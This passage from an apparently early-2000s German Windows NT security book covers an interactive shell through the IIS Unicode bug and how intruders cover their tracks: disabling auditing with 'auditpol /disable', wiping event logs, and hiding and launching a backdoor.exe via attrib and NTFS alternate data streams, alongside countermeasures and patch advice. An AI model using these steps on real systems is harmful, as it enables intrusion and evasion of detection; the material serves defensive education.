    mruef@prometheus:~ > unicode.pl -t 192.168.0.222 -i

    interactive modus, use almost as a shell
    enter 'exit' to leave

    enter command: _

    Eine interaktive Shell auf einem Windows NT 4.0 mit IIS 4.0, das den UNICODE-Bug aufweist.

    Nach der Verbindungsaufnahme mit dem unsicheren Host können im interaktiven Modus nach Belieben Kommandos eingespeist werden, als ob man direkt vor dem anderen System sitzen würde. Einzige Einscränkung ist, dass lediglich auf jene Partition zugegriffen werden kann, die das Wurzel-Verzeichnis des IIS in sich birgt.

    Hintertüren: Gegenmassnahmen

    Kompetente und aktualisierte Antiviren-Software kann korrupten Programmcode (Viren und trojanische Pferd) erkennen und bei deren Infektion gar entfernen. Das nutzen solcher Software ist also in sicherheitsbewussten Umgebungen angebracht.

    Da trojanische Pferde mit der Funktionalität von Remote-Control-Programmen auf dem Client/Server-Prinzip basieren, muss durch den Server-Teil stets ein Port am infizierten System offen gehalten werden, um die Fernsteuerung durch den Client empfangen zu können. Ein Portscan am eigenen System informiert schnell und zuverlässig über heimlich installierte Anwendungsdienste.

    Ein gut konfiguriertes Firewall-System kann die Kommunikation zwischen Client und Server unterbinden, so dass jedes Remote-Control-Programm seinen Sinn und Nutzen verliert. Die Kompromittierung und Umgehung von Firewall-Systemen besprechen wir im Kapitel 7 (Firewall-Systeme).

    5.4 Die Spuren verwischen
    Ein guter Eindringling ist jener, der nie seiner Taten bezichtigt werden konnte: Die erwischten Cracker, denen dank der Medien Ruhm zuteil wird, sind in den seltensten Fällen wirklich "gut". So ist es nicht verwunderlich, dass viele Angreifer ein beachtliches Mass an Erfahrung haben, wenn es um das Verwischen von Spuren und Verstecken von Informationen geht. Je bewanderter ein Eindringling auf diesem Gebiet ist, desto langwieriger und mühsamer wird die Einbruchserkennung (engl. IDS (Intrusion Detection System)). Viele Angreifer hinterlassen auf einem kompromittierten System Logging-Programme (z.B. Keylogger) oder Hintertüren (z.B. NetBus), um ein späteres Eindringen und Ausschlachten des Hosts zu vereinfachen. In diesem Kapitel wollen wir besprechen, wie solch zwangsweise hinterlassenen Informationen bestmöglich versteckt und schnellstmöglich aufgespürt werden können.

    5.4.1 Die Überwachung abschalten

    Windows NT bietet eine Vielzahl von Überwachungs- und Protokollierungs-Möglichkeiten, die jedoch meist aus Performance-Gründen nicht oder nur teilweise genutzt werden: So werden erfolgreiche Zugriff nur in den seltensten Fällen vermerkt. Hat ein Eindringling auf einem System erst einmal den Administrator-Status bekommen, so wird er ein Auge auf die Überwachungs-Funktionen am unterwanderten Rechner werfen. Für den seltenen Fall, dass die Aktivitäten des Eindringlings überwacht werden, kann mit dem Tool auditpol (Audit Policy) aus dem NTRK die Protokollierung unterbunden werden:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>auditpol /disable
    Running ...
    Local audit information changed successfully ...
    New local audit policy ...
    (0) Audit Disabled
    AuditCategorySystem        = No
    AuditCategoryLogon         = Failure
    AuditCategoryObjectAccess  = No

    Wir deaktivieren die Logging-Funktion durch das Nutzen des Kommandos "auditpol /disable" aus dem NTRK.

    Durch den Schalter "/disable" deaktivieren wir die Logging-Funktionalitäten komplett. Diese Methode gilt als sehr brachial und  dementsprechend auffällig. Die Überwachung sollte nach Verlassen des Systems durch den Angreifer wieder mit der Inversion "auditpol /enable" ins Leben zurückgerufen werden, um das Risiko eines nachträgliches Erkennen des Eingriffs so gering wie möglich zu halten.

    5.4.2 Das Ereignisprotokoll manipulieren
    Die wenigsten Angreifer können sich in ein System einschleichen, ohne Spuren zu hinterlassen. Sind sie jedoch erst einmal im Besitz erhobener Privilegien, ist das Manipulieren der Protokolle unabdinglich zur Verhinderung einer Entdeckung durch den rechtmässigen Benutzer bzw. Besitzer. Das Tool elsave von Jesper Lauritsen ist ein bekanntes Utility, das für die Bereinigung des Ereignisprotokolls eingesetzt werden kann.
    5.4.3 Dateien verstecken
    Viele Angreifer hinterlassen auf einem in ihren Besitz gebrachten SystemTools, die ein Weiterarbeiten oder Wiedereindringen vereinfachen sollen. Ein geschulter und aufmerksamer Administrator wird solche Hinterbleibsel entdecken und Rückschlüsse ziehen können, was natürlich durch den Eindringling dadurch verhindert werden will, indem er möglichst unauffällig Spuren im System hinterlässt. In diesem Kapitel widmen wir uns den verschiedenen Möglichkeiten, wie Daten auf einem kompromittierten System möglichst im Geheimen hinterlassen werden können.

    attrib

    Die einfachste Möglichkeit Dateien und Verzeichnisse vor den Blicken mancher zu verstecken ist sich des in Vergessenheit geratenen DOS-Kommandos attrib zu bedienen. Mit dem Nutzen des Schalters "+h" kann das Hidden-Attribut aktiviert werden, wodurch die Datei oder das Verzeichnis versteckt wird:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>attrib +h backdoor.exe

    C:\WINNT>_

    Wir haben in der Eingabeaufforderung mittels des Kommandos attrib die Datei backdoor.exe versteckt.

    Ein Einsehen der Datei mit der simplen Eingabe von dir wird verhindert; gleiches gilt für so manches Befehlszeilen-Utility.

    attrib: Gegenmassnahmen

    Mit dem attrib-Befehl können zwar Dateien und Verzeichnisse versteckt werden, jedoch nicht, wenn auf der grafischen Oberfläche die Option "Alle Dateien anzeigen" des Windows-Explorers aktiviert wurde.

    NTFS-Datei-Streaming

    Jetzt kommen wir zu eine faszinierenden Technik, die sich nur auf Systemen umsetzen lässt, die NTFS einsetzen: Die meisten NT-Maschinen nutzen NTFS, das mehr Komfort und Sicherheit bietet, als das herkömmliche FAT. NTFS bietet ein Feature, das multiple Datenströme innerhalb einer Datei ermöglicht. Diese Streaming-Funktionalität wird normalerweise zur Unterbringung zusätzliche Informationen oder Attributen genutzt. Dadurch kann eine grössere Kompatibelität mit anderen Dateisystemen erreicht werden.

    Um sich nun dieser Streaming-Technik bedienend dem Verstecken einer EXE-Datei anzunehmen, nutzen wir das POSIX-Utility cp aus dem NTRK. Der Syntax ist erfreulich einfach gehalten und verwendet lediglich einen Doppelpunkt in der Zieldatei, um den Datenstrom zu spezifizieren:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>cp backdoor.exe cmd.exe:backdoor.exe

    C:\WINNT>_

    Wir verstecken die Datei backdoor.exe im Datenstrom der Datei cmd.exe.

    In diesem Beispiel haben wir die Datei backdoor.exe im Datenstrom der Datei cmd.exe versteckt. Um die versteckte Datei wieder extrahieren zu können, invertieren wir lediglich die Eingabe:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>cp backdoor.exe cmd.exe:backdoor.exe

    C:\WINNT>cp cmd.exe:backdoor.exe backdoor.exe

    C:\WINNT>_

    Wir extrahieren die im Datenstrom der Datei cmd.exe versteckte Datei mit dem Namen backdoor.exe.

    Das Änderungsdatum ändert sich je nach genutzter cp-Version. Tritt der Gutfall für den Eindringling ein, so sind mit dieser Technik versteckte Dateien sehr schwer zu entdecken.

    Datenstromdateien können bei entsprechender Funktionalität auch ausgeführt werden, wenn sie noch hinter der Vordergrunddatei verweilen. Die Einschränkungen, denen der Befehlszeileninterpreter cmd.exe von Windows NT unterliegt, können solche Datenstromdateien jedoch nicht mit dessen Hilfe ausgeführt werden. Wir nutzen daher das Kommando start, um eine verstecke Datei zu starten:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>cp backdoor.exe cmd.exe:backdoor.exe

    C:\WINNT>cp cmd.exe:backdoor.exe backdoor.exe

    C:\WINNT>start cmd.exe:backdoor.exe

    Die Hintertuer wurde installiert - Have phun...!

    C:\WINNT>_

    Wir extrahieren die im Datenstrom der Datei cmd.exe versteckte Datei mit dem Namen backdoor.exe.

    NTFS-Datei-Streaming: Gegenmassnahmen

    Das einzig zuverlässige existente Programm zum Auffinden von NTFS-Streamdateien ist der Streamfinder von March Information Systems. March wurde vom bekannten Internet Security Systems (ISS) aufgekauft.

    Eine radikale Methoden um Dateistreaming zu beheben ist, eine Kopie aller Vordergunddateien auf einen Nicht-NTFS-Datenträger (z.B. VFAT, FAT16 oder FAT32) zu machen, und die Daten auf den ursprünglichen NTFS-Datenträger zurückzuspielen. Dadurch gehen alle versteckten Dateien verloren.

    5.5 Zusammenfassung
    Mit diesem aufregenden Kapitel habe ich versucht dem interessierten Leser die Sicherheitsproblematik von Windows NT näher zu bringen - Viele Tricks funktionieren natürlich auch noch bei Windows 2000, das ja auf Windows NT 4.0 aufbaut. Viele von Ihnen werden wohl heute Nacht etwas schlechter schlafen können... Ich muss Sie jedoch beruhigen: So wie wir gesehen haben bietet Windows NT nur bei schlechter Wartung eine Vielzahl von Angriffsmöglichkeiten. Von Haus aus wird sich ein Remote-Angreifer ziemlich schnell in Verzweiflung wiederfinden, denn echte Zugriffsmöglichkeiten, die erweiterte Rechte bescheren könnten, findet man sehr selten.

    Glücklicherweise versucht Microsoft den Angreifer von Windows NT stets das Leben aufs Neue wieder schwierig zu machen: Patches und Bugfixes erscheinen in der Regel ziemlich schnell und sollten sofort genutzt werden. Das jüngste Service Pack für Windows NT 4.0 schlägt sich in der Version 6.0a nieder und kann online unter http://www.microsoft.com/ntserver/nts/downloads/recommended/SP6/allSP6.asp bezogen werden.

     
    << | < | = | > | >>